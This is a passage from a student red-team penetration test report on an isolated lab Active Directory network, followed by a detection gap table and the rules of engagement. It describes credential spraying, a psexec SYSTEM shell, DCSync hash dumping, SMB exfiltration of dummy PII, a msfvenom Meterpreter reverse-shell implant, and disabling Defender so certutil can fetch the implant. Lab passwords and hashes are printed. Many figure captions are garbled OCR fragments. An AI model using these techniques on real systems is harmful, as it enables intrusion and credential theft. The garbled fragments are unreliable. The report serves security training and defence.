Figure 35: phpMyAdmin Access Denied for user pma@localhost - exposed admin interface with mcrypt error (T1082)

dvwa_hash.txt —for
Using default input encodin
ash (R:
) support for this

to abort, almost :

06:04 .00g
\D5" options to

Figure 36: John the Ripper cracking DVWA admin MD5 hash (5f4dcc3b5aa765d61d8327deb882cf99) - cracked to 'password’
in <1 second (T1110.002)
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4.3 Exploit B: Active Directory Domain Compromise - VM1-DC

Vulnerability: Weak credentials, credential reuse, no account lockout

Target: 192.168.56.10 - Windows Server 2019, abcd.local DC

MITRE ATT&CK: T1078.002, T1087.002, T1021.002, T1003.006

Credential testing using netexec confirmed three valid domain accounts: jsmith (Password123),
sadmin (Summer2025!) with Pwn3d! status, and Administrator (Sanjany123(@) with Pwn3d! status,

indicating immediate Domain Admin access (Figure 37, T1078.002).

2019 Build 17763 x64 (name:WIN-6H
(signing:True
W

EELLGT

/ Server 2019 Build 17763 x64 (name:WIN-6H

admin:Summer2025! (Pwn3d!)

O18ERLM 0 / Server 2019 Build 17763 x64 (name:WIN-6H

)
32018ERLM [+] abcd.local\Administrator:San Pwn3d!)

Figure 37: Netexec credential testing - jsmith:Password123 valid, sadmin:Summer2025! Pwn3d!, Administrator:Sanjany123@
Pwn3d! (T1078.002)

BloodHound (bloodhound-python) enumerated the domain in 1 second, discovering 1 domain, 2
computers, 7 users, and 52 groups. JSON output files were generated for analysis (Figures 38-39,

T1087.002).

jsmith -p Passwordl23 5 192.168.56.10 all
LEGACY (BloodHound 4.2 3)

k to NTLM authentication. Error: [Errno Connection error (win-6h32e
esolution

erlm.abcd.local

Figure 38: BloodHound-python collection - Found 1 domain, 2 computers, 7 users, 52 groups in abcd.local, completed in 1
second (T1087.002)

mputers.json 2 omains.json 202604 09 roups.json 2026B428860925_users.json

ntainers.json Jpos.json 202604 us.json

Figure 39: BloodHound JSON output files - computers.json, containers.json, domains.json, gpos.json, groups.json, ous.json,

users.json
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Kerberoasting was attempted against the sqlservice SPN (MSSQLSvc/dc.abed.local:1433) but
failed due to clock skew between the attacker machine and DC. This is documented as a realistic

operational challenge (Figure 40, T1558.003).

L set-ntp false

L set-time "

et v0.12.0 - Copyright Fortra, LLC and its affi

S rincipalName ame Member0f

not found. Skipping ...
ionError: KRB_AP_ERR_SKEW(Clock skew too great)

Figure 40: Kerberoasting attempt - sqlservice SPN (MSSQLSvc/dc.abcd.local:1433) found but Clock Skew error prevented
hash extraction (T1558.003)

A SYSTEM-level shell was obtained on the DC using impacket-psexec with sadmin credentials
(Figure 41). Post-exploitation confirmed NT AUTHORITY\SYSTEM privilege, hostname WIN-
6H32018ERLM, domain abcd.local, all domain users, and Domain Admin group membership
(Figures 42-44).

L% impa t-p - abed local/sadmin: "® r2@2 W192.168.56.10
Impacket v@.12.0 - Copyright Fortra, LLC and its affiliated companies

Requesting shares on 192.168.56.10
share ADMING
GptfTBgu

T

C:\Windows\system32> ||

Figure 41: impacket-psexec SYSTEM shell on VM1-DC (192.168.56.10) - Found writable ADMINS, service created,
C:\Windows\system32> prompt (T1021.002)
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whoami

WIN-6H32018ERLM

ndows\system32> ipconfig

Windows IP tion

pter Ether

ection-specific
nk-local IPv6 Addr
IPv4 Add
Subnet Ma
Default

jsmith
sql

H net group "Domain Admins®™ /domain
oup n in Admins
Comment ted administrators of the domain

Memb:

Administrator
The command completed

Figure 42: SYSTEM shell on DC - whoami=nt authority\system, hostname=WIN-6H32018ERLM, ipconfig (192.168.56.10), net
user /domain, Domain Admins group

indows

list brief
Ful e Name
Administrator
Guest
tgt
jsmith
min

systeminfo

WIN- O18ERLM
Microsoft Windo

1 Processor
[01]: AMDG4 i Stepping 1 Authentic
innotek GmbH

Figure 43: DC enumeration - net share (C$, ADMIN$, SYSVOL, NETLOGON), wmic useraccount list brief (6 accounts with
SIDs), systeminfo (Windows Server 2019)
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Windows
indow:

Input Loc
Time Zone

rtual Memor
e File Lo

Hotfix(s) Instal
[01]: KB
[ez]:
[83]:

1 NIC(
[81]:

Requirements:

indows‘\system

Figure 44: systeminfo continued - Domain: abcd.local, 3 Hotfixes only, 4096 MB RAM, VirtualBox platform, Hyper-V detected

A DCSync attack using impacket-secretsdump invoked DRSUAPI to extract all domain credentials
including NTLM hashes for Administrator (3095d217d696bd956c398b6a8ffee701), krbtgt, jsmith,

sadmin, sqlservice, and computer accounts (Figures 45-46, T1003.006).

59d7e@c@89c0@:::
unt doesn't
Dumpin,
Dumpin

eb6b2 f
a87fe770 531010d01d91
2 1

UAPI method to

4c7d7bed

Figure 45: impacket-secretsdump DCSync page 1 - SAM hashes, LSA secrets, DPAPI keys, NTDS.DIT credentials via
DRSUAPI (T1003.006)
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ERROR_DEPENDENT_SE
e dependent on.

", line 442, in
line 150,

Figure 46: secretsdump DCSync page 2 - all Kerberos keys for jsmith, sadmin, sqlservice, WIN-6H32018ERLM$, VM3-
CLIENTS$ dumped

4.4 Exploit C: Sensitive Data Exfiltration - VM3-Client

Vulnerability: Unrestricted SMB C$ share, no DLP, no encryption
Target: 192.168.56.12 - Windows 11 workstation
MITRE ATT&CK: T1021.002, T1083, T1005, T1041

The connection to VM3-Client was made through smbclient to the C$ administrative share of SMB
(Figure 47). Three sensitive files were found in the C:\Confidential\ folder: admin_credentials.txt
(264B), customer database.csv (797B), and payroll Q4 2025.xlIsx (5,492B). All of them were
downloaded to the attacker machine using SMB get (Figure 48). The customer database.csv was
checked in Kali, and PII of 10 people with data about their name, emails, and addresses were verified

(Figure 49, T1005).

192. 5 Windows 10.0 Build 26100 x64 (nam LIENT) (domain: d

Connection Err The NETBIOS connection with the remote ho

Figure 47: SMB connection to VM3-Client (192.168.56.12) C$ share via smbclient with vboxuser credentials - smb: \> prompt
obtained (T1021.002)
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Tue
Mon
Tue
Tue
Tue

; (12.4 KiloBytes/sec) (

.1 KiloByte

entials.txt (4.4 KiloBy

Figure 48: C:\Confidential\ directory listed - admin_credentials.txt (264B), customer_database.csv (797B),
payroll_Q4_2025.xIsx (6492B); all 3 files downloaded via SMB get (T1041)

mer_databas

~/customer_database.csv
Name,Email,Addre
m,"12 MG Jaipur, Rajastl

Ananya Gupta /

Vikram 5i im.sin M m, anjara Hil y ra : 1 na, India"
ra Nair 181 Marine Dri

Arjun Pat cample. ! CG

Neha ]

Figure 49: customer_database.csv verified on Kali - 10 customer records with names, emails, addresses across Indian cities
confirmed exfiltrated (T1005)

4.5 Command and Control & Living-Off-the-Land

A persistent C2 channel was established wusing Metasploit multi/handler with
windows/x64/meterpreter/reverse tcp on port 4444 (Figure 50). The implant (update.exe, 7,168
bytes) was generated with msfvenom (Figure 51) and hosted via Python HTTP server on port 80
(Figure 52).
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Figure 50: Metasploit msfconsole - multi/handler with windows/x64/meterpreter/reverse_tcp, LHOST=192.168.56.5,
LPORT=4444, listener started (T1571)

o /tmp/update.exe

Figure 51: msfvenom payload generation - windows/x64/meterpreter/reverse_tcp, 7168 bytes saved as /tmp/update.exe
(T1587.001)

—5 cd /tmp sudo
[sudo] password for kali:
Serving HTTP on ©0.0.0.0 port 80 (http://

http.server 8@

Figure 52: Python3 HTTP server hosting implant on port 80 for LOLBiIn delivery
On the DC psexec shell, initial certutil download attempts were blocked by Windows Defender

(Figure = 53). After disabling Defender via  PowerShell (Set-MpPreference -

DisableRealtimeMonitoring $true), certutil successfully downloaded the implant (Figure 54, T1105,

T1562.001).
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mpanies

share ADMINS
zLhBeiWn.e

che -split

c "Invok

Figure 53: psexec shell on DC - certutil downloads blocked (Access Denied) from C:\Temp, C:\Windows\Temp,
C:\Users\Public; PowerShell Invoke-WebRequest attempted

ndows\sy > powers L t-MpP

> certutil 1 he -split -f http

Figure 54: Defender disabled via PowerShell (Set-MpPreference -DisableRealtimeMonitoring $true), then certutil download
succeeded - CertUtil: -URLCache command completed successfully (T1105, T1562.001)

The implant was executed, and wmic process list brief confirmed all running processes (Figure 55).
Additional LOLBin commands demonstrated wmic computersystem and schtasks /query

enumeration (Figure 56, T1047, T1053.005).

Priority Proc

© 0o

© 1 @ m e

8
2

@
@ e

-
s

o

1096
1116
1164

PR OWENNN
(SIS

[ERCRCE

=

1640

Figure 55: Implant executed (C:\Users\Public\update.exe), wmic process list brief showing all running processes including
Isass.exe PID 552 (T1047)
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wmic computersystem get name,domain

18ERLM

schtasks /query /fo LIST | more

WIN-6H32018ERLM
g lorershellUnelevatedTask

Runnin,
Inte ive only

RLM
chronization-{ JF5C-4D30-A58A-7OEEBAFBD11A}
t Run Time: 6 e7 AN
tus:
on Mode: In ive only

no scheduled tasks presently lable at your ac

lable at your

NET Framework NGEN v
Background

RLM
indows\.NET Fram . Framework NGEN w&.

WIN-6H3201
¥ softi\wi rame! 5 Framework NGEN v 64 Critical

Framework NGEN v4.8.3

Figure 56: LOLBin commands - wmic computersystem get name,domain (abcd.local/WIN-6H32018ERLM), schtasks /query
showing scheduled tasks (T1047, T1053.005)

A Meterpreter session was established with NT AUTHORITY\SYSTEM on WIN-6H32018ERLM
(Figure 57). Session interaction confirmed getuid, sysinfo (Windows Server 2019, Domain ABCD),
and full process listing (Figure 58). The hashdump command re-extracted all domain NTLM hashes
via the C2 channel (Figure 59, T1003.002).

.56.10:50605) at 20 9 00:08:33 -0400

TEM 3 WIN-GH3

Figure 57: Meterpreter session 1 opened - NT AUTHORITY\SYSTEM @ WIN-6H32018ERLM, connection 192.168.56.5:4444
to 192.168.56.10:50605 (T1573)
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Figure 58: Meterpreter session - getuid (NT AUTHORITY\SYSTEM,), sysinfo (Windows Server 2019, Domain ABCD), getpid
(2064), ps (full process list) (T1573)

Figure 59: Meterpreter hashdump - all domain NTLM hashes dumped via C2: Administrator, Guest, krbtgt, jsmith, sadmin,
sqlservice, WIN-6H32018ERLM$, VM3-CLIENT$ (T1003.002)

5. Detection Gap Analysis

Each attack phase succeeded because specific controls were absent. The following table maps each

technique to its detection failure and the missing control.

Missing Control
ID
Nmap T1046 No IDS monitoring internal traffic Network IDS (Snort/Suricata)
Scanning
vsftpd T1190 14-year-old  unpatched service = Patch management, vulnerability scanning
Backdoor running
SQL T1190 No WAF, no input validation WAF, parameterised queries
Injection
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Credential T1078.002 = No lockout policy, weak passwords =14+ char policy, MFA, UEBA

Reuse allowed

DCSync T1003.006 No monitoring of DRS replication SIEM rule for 4662, Defender for Identity
(Event 4662)

SMB T1041 No DLP, no file access auditing DLP, Event 4663 auditing

Exfiltration

Defender T1562.001 = No tamper protection on AV Tamper-protected EDR

Disabled

Certutil T1105 certutii  URL  downloads not WDAC, proxy logging

LOLBiIn monitored

C2 Beaconing T1573 No EDR or NTA on DC EDR, network behaviour analysis

The biggest failure was lack of a SIEM. The lack of centralised logging meant that there was no
visibility into DCSync activities (Event 4662), credential abuse (Event 4625), or lateral movement.

Implementation of a SIEM that uses correlation rules would identify most of the attack stages.

6. Conclusion

The interaction showed a full chain attack of unauthenticated access to the network leading to full
domain compromise and data exfiltration of the customers within less than two hours. The most
severe results were: (1) unpatched RCE vulnerability to allow root access; (2) weak AD password
allowing lateral movement without exploitation; (3) no EDR on the Domain Controller, (4) no DLP
controls on the Domain Controller to allow silent PII exfiltration. The security position of the
organisation is very inadequate to manage personal data as required by UK GDPR. The short-term
plan should address fixing all internet-facing services; implementing a policy of 14-character
passwords and phishing-resistant MFA, implementing EDR, and installing a SIEM with AD

monitoring.
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Appendix A: Rules of Engagement

Engagement: ABCD Ltd Red Team Penetration Test
Operator: [Student Name]
Dates: 28 April — 5 May 2026

A.1 Scope

«  In-scope: VM1-DC (192.168.56.10), VM2-Metasploitable (192.168.56.23), VM3-Client
(192.168.56.12)

* Out-of-scope: Host machine, real internet infrastructure, any unlisted systems
A.2 Permitted Techniques

» Network scanning, vulnerability exploitation, privilege escalation, lateral movement,

credential harvesting and offline cracking, C2 deployment, data exfiltration (dummy data

only)
A.3 Excluded Activities

* Denial of Service, attacks on out-of-scope systems, permanent data destruction, zero-day

exploitation
A.4 Kill Switch
Immediate VM power-off via VirtualBox. All VMs have pre-attack snapshots for instant rollback.

A.5 Legal Statement

All testing on personally owned, isolated VMs. Full compliance with the UK Computer Misuse Act
1990. Academic purposes under ACCA7033.
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Appendix B: Threat Emulation Plan

Emulated Actor: Scattered Spider (UNC3944)
Objective: Exfiltrate customer PII from VM3 and achieve Domain Admin on VM1

Tactic ATT&CK Technique Action

ID
1  Reconnaissance T1595.001 Active Scanning Nmap discovery 192.168.56.0/24

2 | Reconnaissance | T1046 Service Full port scan all targets
Scanning

3  Initial Access T1190 Exploit Public vsftpd 2.3.4 backdoor VM2
App

4 | Execution T1059.004 = Unix Shell Root shell on VM2

5  Cred Access T1003 Cred Dumping  /etc/shadow + hash crack

6  Initial Access T1190 SQL Injection UNION SELECT hash dump DVWA

7  Lateral Mvmt T1078.002 Valid Accounts = Credential reuse via netexec

8  Discovery T1087.002 | Domain BloodHound AD enumeration
Discovery

9  Lateral Mvmt T1021.002 SMB Exec psexec SYSTEM shell on DC

10  Cred Access T1003.006 = DCSync secretsdump all domain hashes

11 Collection T1005 Data from SMB access VM3 Confidential
System

12 Exfiltration T1041 Exfiltration smbclient download PII

13 C2 T1573 Encrypted Meterpreter reverse TCP
Channel

14 Def Evasion T1562.001 = Impair Defenses = Disable Windows Defender

15 Ingress T1105 LOLBin certutil download implant
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Appendix C: Lab Network Configuration

Component Details

Hypervisor
Network

Subnet

Internet

Kali Linux
VM1-DC
VM2-Metasploitable
VM3-Client

Oracle VirtualBox 7.2.8

Host-Only Adapter (VirtualBox Host-Only Ethernet Adapter #4)
192.168.56.0/24

NONE - fully isolated (verified Figure 7)

192.168.56.5 | Attack Machine | Kali 2025.1c

192.168.56.10 | Domain Controller | Windows Server 2019 | abcd.local
192.168.56.23 | Web Server | Ubuntu 8.04 / Metasploitable 2
192.168.56.12 | Workstation | Windows 11 Home
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